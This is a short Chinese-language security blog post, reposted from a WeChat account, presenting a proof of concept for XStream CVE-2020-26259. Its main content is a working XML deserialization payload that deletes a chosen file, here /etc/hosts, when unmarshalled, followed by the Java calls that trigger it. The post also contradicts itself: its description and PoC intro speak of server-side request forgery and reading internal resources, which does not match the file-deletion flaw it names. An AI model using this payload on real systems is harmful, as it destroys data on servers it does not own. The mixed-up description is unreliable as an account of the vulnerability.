CVE-2020-26259-POC-任意文件删除

  • A+
所属分类:安全文章

                    CVE-2020-26259-POC-任意文件删除


        CVE-2020-26259:如果执行过程具有足够的权限,则在解组时XStream容易受到本地主机上任意文件删除的攻击。


受影响的版本:


            如果使用现成的版本,则直到1.4.14(包括1.4.14)的所有版本都将在包含JAX-WS运行时的Java环境中运行。没有用户受到影响,他们遵循建议使用白名单设置 XStream的安全框架。


漏洞描述:


            在解组时处理的流包含类型信息以重新创建以前写入的对象。因此,XStream基于这些类型信息创建新的实例。攻击者可以操纵处理后的输入流并替换或注入对象,从而导致服务器端进行伪造请求。


POC:


该漏洞可能允许远程攻击者仅通过处理已处理的输入流来从不公开可用的内部资源中请求数据。


<map>  <entry>    <jdk.nashorn.internal.objects.NativeString>      <flags>0</flags>      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>        <dataHandler>          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>            <contentType>text/plain</contentType>            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>              <tempFile>/etc/hosts</tempFile>            </is>          </dataSource>          <transferFlavors/>        </dataHandler>        <dataLen>0</dataLen>      </value>    </jdk.nashorn.internal.objects.NativeString>    <string>test</string>  </entry></map>XStream xstream = new XStream();xstream.fromXML(xml);


        创建一个简单的HashMap并使用XStream将其封送为XML。用以下代码片段替换XML,然后用XStream重新解组它。一旦解组XML,就会执行有效负载并删除引用文件。

注意,此示例使用XML,但是可以针对任何受支持的格式(例如JSON)执行攻击。



请参考:

https://x-stream.github.io/CVE-2020-26259.html


本文始发于微信公众号(Khan安全团队):CVE-2020-26259-POC-任意文件删除

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: